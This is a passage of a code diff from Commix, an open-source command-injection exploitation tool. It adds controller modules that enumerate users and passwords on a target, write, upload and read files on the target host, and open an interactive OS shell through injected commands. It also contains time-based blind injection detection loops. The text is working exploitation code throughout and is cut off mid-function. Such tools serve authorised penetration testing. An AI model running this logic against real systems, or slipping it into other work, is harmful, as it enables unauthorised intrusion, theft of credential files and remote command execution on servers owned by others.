http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.current_user: + checks.print_enumenation().current_user_msg() + current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.is_root or menu.options.is_admin: + checks.print_enumenation().check_privs_msg() + check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.sys_info: + checks.print_enumenation().os_info_msg() + system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.users: + checks.print_enumenation().print_users_msg() + system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.passwords: + if settings.TARGET_OS == settings.OS.WINDOWS: + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + checks.print_enumenation().print_passes_msg() + system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + # Check for any enumeration options. + new_line = True + if settings.ENUMERATION_DONE == True : + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + break + elif enumerate_again in settings.CHOICE_NO: + new_line = False + break + elif enumerate_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + +# eof \ No newline at end of file diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py new file mode 100755 index 0000000000..4ace143fac --- /dev/null +++ b/src/core/injections/controller/file_access.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import sys +from src.utils import menu +from src.utils import common +from src.utils import settings +from src.utils import session_handler +from src.core.injections.controller import checks +from src.core.requests import requests +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.colorama import Fore, Back, Style, init + +""" +Write to a file on the target host. +""" +def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + _ = False + file_to_write, dest_to_write, content = checks.check_file_to_write() + if settings.TARGET_OS == settings.OS.WINDOWS: + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + else: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + if settings.TIME_RELATIVE_ATTACK: + whitespace = settings.WHITESPACES[0] + _ = True + cmd = checks.change_dir(dest_to_write) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + cmd = checks.delete_tmp(tmp_fname) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + else: + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + cmd = checks.write_content(content, dest_to_write) + if settings.TIME_RELATIVE_ATTACK: + cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + cmd = cmd + settings.COMMENT + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_write) + if settings.TIME_RELATIVE_ATTACK: + if settings.VERBOSITY_LEVEL == 0 and not _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + if settings.TIME_RELATIVE_ATTACK: + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.file_write_status(shell, dest_to_write) + +""" +Upload a file on the target host. +""" +def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + cmd, dest_to_upload = checks.check_file_to_upload() + if settings.TIME_RELATIVE_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + if settings.TIME_RELATIVE_ATTACK: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + if settings.TIME_RELATIVE_ATTACK: + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.file_upload_status(shell, dest_to_upload) + + +""" +Read a file from the target host. +""" +def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + _ = False + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if settings.TIME_RELATIVE_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + _ = True + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = "".join(str(p) for p in shell) + if settings.TIME_RELATIVE_ATTACK: + if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.file_read_status(shell, file_to_read, filename) + +""" +Check the defined options +""" +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if menu.options.file_write: + file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + + if menu.options.file_upload: + if settings.TARGET_OS == settings.OS.WINDOWS: + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + + if menu.options.file_read: + file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if settings.FILE_ACCESS_DONE == True : + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + if menu.file_access_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + +# eof \ No newline at end of file diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py new file mode 100755 index 0000000000..70fd769800 --- /dev/null +++ b/src/core/injections/controller/handler.py @@ -0,0 +1,686 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import sys +import time +import string +import random +from src.utils import menu +from src.utils import logs +from src.utils import settings +from src.utils import common +from src.core.compat import xrange +from src.utils import session_handler +from src.core.requests import headers +from src.core.requests import requests +from src.core.requests import parameters +from src.core.injections.controller import checks +from src.thirdparty.six.moves import input as _input +from src.thirdparty.six.moves import urllib as _urllib +from src.core.injections.controller import shell_options +from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.injections.controller import file_access +from src.core.injections.controller import enumeration +from src.core.injections.controller import controller + +""" +Exit handler +""" +def exit_handler(no_result): + if no_result: + if settings.VERBOSITY_LEVEL == 0 and settings.LOAD_SESSION == None: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return False + else : + settings.print_data_to_stdout(settings.END_LINE.CR) + +""" +Reset tests +""" +def reset_tests(url, timesec, filename, http_request_method, injection_type, technique): + settings.RESET_TESTS = False + from src.core.injections.results_based.techniques.classic import cb_handler + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) + +""" +Delete previous shells outputs. +""" +def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + else: + cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + else: + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + OUTPUT_TEXTFILE + else: + cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + + +def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response): + try: + checks.alert() + go_back = False + go_back_again = False + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + while True: + if go_back == True: + break + gotshell = checks.enable_shell(url) + if gotshell in settings.CHOICE_YES: + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: + if not settings.READLINE_ERROR: + checks.tab_autocompleter() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) + cmd = common.read_input(message="", default="os_shell", check_batch=True) + cmd = checks.escaped_cmd(cmd) + if cmd.lower() in settings.SHELL_OPTIONS: + if cmd.lower() == "quit" or cmd.lower() == "exit": + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise SystemExit() + go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) + if go_back and go_back_again == False: + break + if go_back and go_back_again: + return True + else: + time.sleep(timesec) + if menu.options.ignore_session or session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: + # The main command injection exploitation. + if settings.TIME_RELATIVE_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Export injection result + checks.time_relative_export_injection_results(cmd, separator, shell, check_exec_time) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Command execution results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + if not menu.options.ignore_session: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if shell or shell != "": + settings.print_data_to_stdout(settings.command_execution_output(shell)) + + else: + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break + else: + if no_result: + return False + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + return True + elif gotshell in settings.CHOICE_QUIT: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise SystemExit() + else: + common.invalid_option(gotshell) + pass + + except (KeyboardInterrupt, SystemExit): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + settings.print_data_to_stdout(settings.END_LINE.CR) + raise + + except EOFError: + checks.EOFError_err_msg() + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + settings.print_data_to_stdout(settings.END_LINE.CR) + +""" +The main time-relative exploitation proccess. +""" +def do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + + counter = 1 + num_of_chars = 1 + vp_flag = True + no_result = True + is_encoded = False + possibly_vulnerable = False + false_positive_warning = False + export_injection_info = False + exec_time = 0 + timesec = checks.time_relative_timesec(timesec) + + if settings.TIME_RELATIVE_ATTACK == False: + checks.time_relative_attaks_msg() + settings.TIME_RELATIVE_ATTACK = None + + # Check if defined "--url-reload" option. + if menu.options.url_reload == True: + checks.reload_url_msg(technique) + + # Check if defined "--maxlen" option. + if menu.options.maxlen: + settings.MAXLEN = maxlen = menu.options.maxlen + + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + + checks.testing_technique_title(injection_type, technique) + + prefixes = settings.PREFIXES + suffixes = settings.SUFFIXES + separators = settings.SEPARATORS + + i = 0 + total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) + for whitespace in settings.WHITESPACES: + for prefix in settings.PREFIXES: + for suffix in settings.SUFFIXES: + for separator in settings.SEPARATORS: + # Check injection state + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + # If a previous session is available. + exec_time_statistic = [] + if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): + try: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + settings.TIME_BASED_STATE = True + elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + settings.TEMPFILE_BASED_STATE = True + cmd = shell = "" + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) + checks.check_for_stored_tamper(payload) + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + if settings.TEMPFILE_BASED_STATE: + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + except TypeError: + checks.error_loading_session_file() + + if settings.RESET_TESTS: + reset_tests(url, timesec, filename, http_request_method, injection_type, technique) + + if not settings.LOAD_SESSION: + num_of_chars = num_of_chars + 1 + # Check for bad combination of prefix and separator + combination = prefix + separator + if combination in settings.JUNK_COMBINATION: + prefix = "" + # Change TAG on every request to prevent false-positive resutls. + TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) + # The output file for file-based injection technique. + alter_shell = menu.options.alter_shell + tag_length = len(TAG) + 4 + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + for output_length in range(1, int(tag_length)): + try: + # Tempfile-based decision payload (check if host is vulnerable). + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + + vuln_parameter = "" + exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + + # Statistical analysis in time responses. + exec_time_statistic.append(exec_time) + # Injection percentage calculation + percent, float_percent = checks.percentage_calculation(num_of_chars, total) + + if percent == 100 and no_result == True: + if settings.VERBOSITY_LEVEL == 0: + percent = settings.FAIL_STATUS + else: + percent = "" + else: + if checks.time_relative_shell(url_time_response, exec_time, timesec): + # Time relative false positive fixation. + false_positive_fixation = False + if len(TAG) == output_length: + + # Simple statical analysis + statistical_anomaly = True + if len(set(exec_time_statistic[0:5])) == 1: + if max(xrange(len(exec_time_statistic)), key=lambda x: exec_time_statistic[x]) == len(TAG) - 1: + statistical_anomaly = False + exec_time_statistic = [] + + if timesec <= exec_time and not statistical_anomaly: + false_positive_fixation = True + else: + false_positive_warning = True + + # Identified false positive warning message. + if false_positive_warning: + timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) + + if settings.VERBOSITY_LEVEL == 0: + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) + + # Check if false positive fixation is True. + if false_positive_fixation: + false_positive_fixation = False + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + if false_positive_warning: + time.sleep(1) + randv1 = random.randrange(0, 4) + randv2 = random.randrange(1, 5) + randvcalc = randv1 + randv2 + + if settings.TARGET_OS == settings.OS.WINDOWS: + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + else: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + else: + rand_num = randv1 + randv2 + cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" + else: + cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" + + # Set the original delay time + original_exec_time = exec_time + + # Check for false positive resutls + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) + else: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) + + if checks.time_relative_shell(url_time_response, exec_time, timesec): + if str(output) == str(randvcalc) and len(TAG) == output_length: + possibly_vulnerable = True + exec_time_statistic = 0 + if settings.VERBOSITY_LEVEL == 0: + percent = settings.info_msg + else: + percent = "" + #break + else: + break + # False positive + else: + if settings.VERBOSITY_LEVEL == 0: + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) + continue + else: + if settings.VERBOSITY_LEVEL == 0: + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) + continue + + except (KeyboardInterrupt, SystemExit): + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise + + except EOFError: + 